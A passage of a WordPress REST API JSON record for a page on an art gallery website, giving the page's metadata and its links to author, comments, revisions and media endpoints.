[…]<\/p>\n","protected":false},"author":1,"featured_media":0,"parent":0,"menu_order":0,"comment_status":"closed","ping_status":"closed","template":"","meta":{"footnotes":""},"_links":{"self":[{"href":"http:\/\/hereandnow.artcoregallery.org.uk\/wp-json\/wp\/v2\/pages\/12"}],"collection":[{"href":"http:\/\/hereandnow.artcoregallery.org.uk\/wp-json\/wp\/v2\/pages"}],"about":[{"href":"http:\/\/hereandnow.artcoregallery.org.uk\/wp-json\/wp\/v2\/types\/page"}],"author":[{"embeddable":true,"href":"http:\/\/hereandnow.artcoregallery.org.uk\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/hereandnow.artcoregallery.org.uk\/wp-json\/wp\/v2\/comments?post=12"}],"version-history":[{"count":87,"href":"http:\/\/hereandnow.artcoregallery.org.uk\/wp-json\/wp\/v2\/pages\/12\/revisions"}],"predecessor-version":[{"id":1795,"href":"http:\/\/hereandnow.artcoregallery.org.uk\/wp-json\/wp\/v2\/pages\/12\/revisions\/1795"}],"wp:attachment":[{"href":"http:\/\/hereandnow.artcoregallery.org.uk\/wp-json\/wp\/v2\/media?parent=12"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}